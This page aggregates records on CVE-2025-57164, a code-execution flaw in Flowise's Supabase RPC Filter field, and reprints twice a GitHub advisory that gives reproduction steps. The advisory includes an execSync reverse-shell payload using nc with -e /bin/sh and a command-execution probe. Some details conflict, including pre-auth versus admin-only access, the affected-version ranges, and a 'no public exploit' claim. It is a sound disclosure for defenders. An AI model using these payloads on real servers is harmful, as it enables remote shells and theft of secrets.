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CVE-2025-57164

FlowiseAI Pre-Auth Arbitrary Code Execution

6.5 MediumFix available

Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.64%Up 0.6 points since Oct 18, 2025
90%50%10%1%

What each source reports

CVE List Score used6.5

Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.

Record
CVE-2025-57164
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-77
Updated
2026-11-02
EUVDEUVD-2025-292486.5

Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.

Record
EUVD-2025-29248
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-7944-7c6r-55vv9.1

FlowiseAI Pre-Auth Arbitrary Code Execution

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

<img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" />

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

<img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" />

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

  1. Deploy a FlowiseAI instance with the Supabase vector store enabled.

  2. Login as an admin user.

  3. Drag in a Supabase node and configure "Supabase RPC Filter".

  4. Insert a malicious payload in the filter expression, such as:

    process.mainModule.require("child_process").execSync("id")

  5. Trigger the chatbot or workflow to activate the node.

  6. Observe execution of arbitrary code on the backend.

Impact

  • Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
  • Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
  • Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
  • Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
  • LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

Record
GHSA-7944-7c6r-55vv
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD6.5

Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.

Record
CVE-2025-57164
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-77
Updated
2026-11-05
OSV6.5

Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.

Record
CVE-2025-57164
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Updated
2026-11-07
OSVGHSA-7944-7c6r-55vv9.1

FlowiseAI Pre-Auth Arbitrary Code Execution

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

<img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" />

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

<img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" />

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

  1. Deploy a FlowiseAI instance with the Supabase vector store enabled.

  2. Login as an admin user.

  3. Drag in a Supabase node and configure "Supabase RPC Filter".

  4. Insert a malicious payload in the filter expression, such as:

    process.mainModule.require("child_process").execSync("id")

  5. Trigger the chatbot or workflow to activate the node.

  6. Observe execution of arbitrary code on the backend.

Impact

  • Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
  • Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
  • Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
  • Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
  • LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

Record
GHSA-7944-7c6r-55vv
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
flowise
npm
3.0.5 to 3.0.5
3.0.6
flowise
npm
3.0.5 up to 3.0.6
3.0.6

History

History
RecordedChangedSources
factsNVD
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-57164 is a medium vulnerability (CVSS 6.5) in Flowiseai Flowise, published September 15, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.64%, the 51st percentile. Fixed in flowise 3.0.6.

References

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